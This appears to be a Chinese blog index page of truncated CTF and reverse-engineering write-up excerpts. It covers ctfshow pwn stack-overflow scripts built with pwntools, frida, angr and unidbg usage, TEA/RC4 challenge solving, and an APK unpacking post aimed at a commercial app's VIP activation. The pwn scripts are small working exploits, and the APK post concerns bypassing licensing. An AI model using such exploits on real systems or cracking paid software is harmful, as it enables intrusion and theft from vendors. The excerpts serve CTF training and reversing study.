ctfshow刷题wp栈溢出pwn36
12345678from pwn import *p = process('./pwn')# p = remote('pwn.challenge.ctf.show', 28250)payload = cyclic(0x28+4) + p32(0x8048586)p.sendline(payload)p.interactive()
pwn37
1234567891011from pwn import *p = process('./pwn')# p = remote('pwn.challenge.ctf.show', 28250)get_flag = 0x08048521payload = cyclic(0x12 + 0x4) + p32(get_flag)p.sendline(payload)p.interactive()
pwn38涉及到了栈对齐
123456789101112131415from pwn import *p = process( ...
l3hctf参考Tauri 框架的静态资源提取方法探究 | yllhwa's blog
oacia/stalker_trace_so: 一个IDA插件,利用frida-stalker在加载so时打印出所有函数调用,解决frida-trace无法在so加载时trace的问题
frida-stalker-trace 使用并实战某音 | mgaic
ez_android一开始想拿插件去trace的但是崩溃了 但是这个题不用trace也能做
tauriactivity的app 解包静态资源
分别对应文件名及其长度 文件内容及其长度
1234567891011121314151617181920212223242526272829303132333435363738394041424344import osimport brotliaddr = 0xC9498 # 这里的地址是压缩内容的地址endadd = 0xC9498+0xebdump = [0] * (endadd - addr)for i in range(addr, endadd): d ...
某apk简单分析看到一些师傅有破解的文章遂想自己独立尝试
有加固 尝试脱壳机
ok啊 搞出来了 jeb打开 研究一下vip的获取方式
可以使用激活码 抓包看一眼 使用reqable进行抓包
响应
去dex中查找一下内容 查找一下字符串
在这里查找一下关于网络的方法 可以找得到关于发送的请求头
接下来去寻找一下解析响应的方法
找个方法交叉引用一下
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107package com.itally.base.data;import android.text.TextUtils;import com.alibaba.fastjson.n;import com ...
CTF+Binary练习题-Re-Day4
判断输入是否为数字
这里就是核心代码
这里
搞到了 这里截图截错了 应该再往上搞一位
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586def solve_sudoku(grid): # Find an empty cell (with value 0) for i in range(9): for j in range(9): if grid[i][j] == 0: # Try all possible numbers for num in range(1, 10): if is_valid(grid, i, j, nu ...
frida for windows参考Frida-Windows 夏洛魂的个人博客
JavaScript API | Frida • A world-class dynamic instrumentation toolkit
12345678910111213#include<stdio.h>#include<stdint.h>int add(int a,int b){ return a+b;}int main(){ int a=6; int b=7; printf("%d",add(a,b));}
很简单的测试脚本 挨个把官方文档的api都试一试
搞一个开发环境
123git clone https://github.com/oleavr/frida-agent-example.git cd frida-agent-example/ npm install
网速慢就直接
1git config --global http.proxy http://127.0.0.1:78 ...
前言最近学了点frida-windows想到了litctf最后一道题可以主动调用来获取flag 但大多是用的ce 我突发奇想试试frida 水一下
前置内容省略了 大体的思路就是主动调用
1234567891011121314151617181920212223242526272829303132333435363738394041424344var baseaddres =Process.findModuleByName("GameAssembly.dll")console.log(baseaddres);const RobbieGetFlag = new NativeFunction( baseaddres.base.add(0x7A52A0), 'int64', // __int64 返回类型 [] // 无参);try { // 调用函数 const result = RobbieGetFlag(); // 将返回的int64转换为字符串 // 方法1:直接显示 ...
lit的时候忙其他的去了只能含泪复现 rc4的附件不知道丢哪了 整体的难度还行
FeatureExtraction
将我们的输入处理为32位
发现到key
进入加密函数观察加密流程
搞到密文
理解加密流程 解密就简单了
123456789101112131415161718key = [0x4C, 0x69, 0x74, 0x43, 0x54, 0x46, 0x32, 0x30, 0x32, 0x35]enc = [0x1690, 0x3E58, 0x6FF1, 0x86F0, 0x9D66, 0xAB30, 0xCA71, 0xCF29, 0xE335, 0xE492, 0xF1FD, 0xDE80, 0xD0C8, 0xC235, 0xB9B5, 0xB1CF, 0x9E9F, 0x9E86, 0x96B4, 0xA550, 0xA0D3, 0xA135, 0x99CA, 0xACC0, 0xBE78, 0xC196, 0xBC00, 0xB5C3, 0xB7F0, 0xB465, 0xB673, 0xB71F, 0xB ...
前言速刷一下angr 学习一下较为浅薄层面的angr应用
基础脚本12345678910111213141516171819202122232425262728293031323334353637import angrimport sysdef Go(): path_to_binary = "angr2" project = angr.Project(path_to_binary, auto_load_libs=False)#创建实例 initial_state = project.factory.entry_state()#得到程序的入口 simulation = project.factory.simgr(initial_state)#创建仿真模拟器负责管理程序运行的路径 print(project.arch)#输出框架 print(hex(project.entry))#入口 print(project.filename)#路径 def is_successful(initial_state): ...
你知道base吗
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051#include <stdio.h>#include <stdint.h> void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; uint32_t delta=0x9e3779b9; uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; for (i=0; i < 32; i++) { sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0&g ...
参考Unidbg 的基本使用(二)
hookfrida进入jadx
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091package com.sina.weibo.security;import android.util.Base64;import java.io.ByteArrayOutputStream;import java.security.Key;import java.security.KeyFactory;import java.security.PublicKey;import java.security.spec.X509EncodedKeySpec;import javax.crypto.Cipher;/* loaded from: classes.dex */public ...